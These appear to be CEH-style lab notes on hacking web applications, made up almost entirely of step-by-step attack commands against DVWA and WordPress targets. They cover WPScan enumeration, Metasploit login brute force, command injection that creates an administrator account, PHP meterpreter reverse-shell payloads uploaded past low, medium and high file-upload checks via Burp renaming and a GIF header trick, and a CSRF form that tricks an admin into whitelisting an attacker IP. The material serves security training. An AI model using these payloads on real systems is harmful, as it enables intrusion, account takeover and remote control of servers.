Module 14: Hacking Web Applications
Exploiting Parameter Tampering and XSS Vulnerabilities in Web Applications
Parameter tampering
Cross-site scripting (XSS or CSS) - inject client-side scripts
Enumerating and Hacking a Web Application Using WPScan and Metasploit
In Kali Linux, WPScan --url [Link] Address of Windows Server
2012]:8080/CEH --enumerate u
msfconsole
use auxiliary/scanner/http/wordpress_login_enum
show options
set PASS_FILE /root/Desktop/Wordlists/[Link]
set RHOSTS [IP Address of Windows Server 2012]
set RPORT 8080
set TARGETURI [Link] Address of Windows Server 2012]:8080/CEH/
set USERNAME admin (or any user obtained with WPScan)
run
Exploiting Remote Command Execution Vulnerability to Compromise a Target Web Server
In Windows 10, open [Link]
Command Injection > ping.
It blocks other cmds ( | hostname )
DVWA Security: Impossible > Low
Command Injection > ping.
It executes other cmds ( | hostname )
| whoami
| tasklist
| dir C:\
| net user
| net user Test /Add
| net user
| net user Test
| net localgroup Administrators Test /Add
| net user Test
Start --> Windows Accessories --> Remote Desktop Connection.
Auditing Web Application Framework Using Vega
In Kali Linux, Applications --> 03 - Web Application Analysis --> Vega
Injection Modules + Response Processing Modules
Website Vulnerability Scanning Using Acunetix WVS
Business Criticality - High
Full Scan/ OWASP Top 10/ Instant
Exploiting File Upload Vulnerability at Different Security Levels
In Kali Linux, msfvenom -p php/meterpreter/reverse_tcp lhost=[Link]
lport=4444 -f raw
Use Leafpad to save payload in to [Link]
[Link]
DVWA Security > Low
File Upload > [Link]
msfconsole
use multi/handler
show options
set payload php/meterpreter/reverse_tcp
set lhost [Link]
set lport 4444
run
[Link]
session is created automatically, if not: sessions -i 1
sysinfo
close all
DVWA Security > Medium
File Upload > [Link] returns error
Rename payload to [Link]
Setup Burp Suite as an intercepting proxy
Upload the file [Link]
In Burp Suite, rename filename to [Link]
Upload is success. Remove proxy from browser
msfconsole
use multi/handler
set payload php/meterpreter/reverse_tcp
set lhost [Link]
set lport 4444
run
[Link]
session is created automatically, if not: sessions -i 1
sysinfo
close all
DVWA Security > High
File Upload > [Link] returns error
Rename payload back to [Link]
With a text editor, Put GIF98 as first line.
Rename payload to [Link]
Upload is success
DVWA > Command Injection
|copy C:\wamp64\www\DVWA\hackable\uploads\[Link] C:\wamp64\www\DVWA\
hackable\uploads\[Link]
msfconsole
use multi/handler
set payload php/meterpreter/reverse_tcp
set lhost [Link]
set lport 4444
run
[Link]
session is created automatically, if not: sessions -i 1
sysinfo
close all
Performing Cross-Site Request Forgery (CSRF) Attack (one-click attack or session
riding)
In Windows 2012, [Link] Login as admin
Plugins > Wordpress Firewall 2 > Whitelist [Link]
In Kali Linux, wpscan -u [Link] --enumerate vp
Save this script as Security_Script.html
<form method="POST"
action="[Link]
firewall-2%[Link]">
<script>alert("As an Admin, To enable additional security to your Website.
Click Submit")</script>
<input type="hidden" name="whitelisted_ip[]" value="[Link]" >
<input type="hidden" name="set_whitelist_ip" value="Set Whitelisted IPs"
class="button-secondary">
<input type="submit">
</form>
Share Security_Script.html with Windows 2012(over smb:// share), open in WP
logged in browser and click submit
Observe in Wordpress Firewall 2, Whitelisted IP changed to [Link].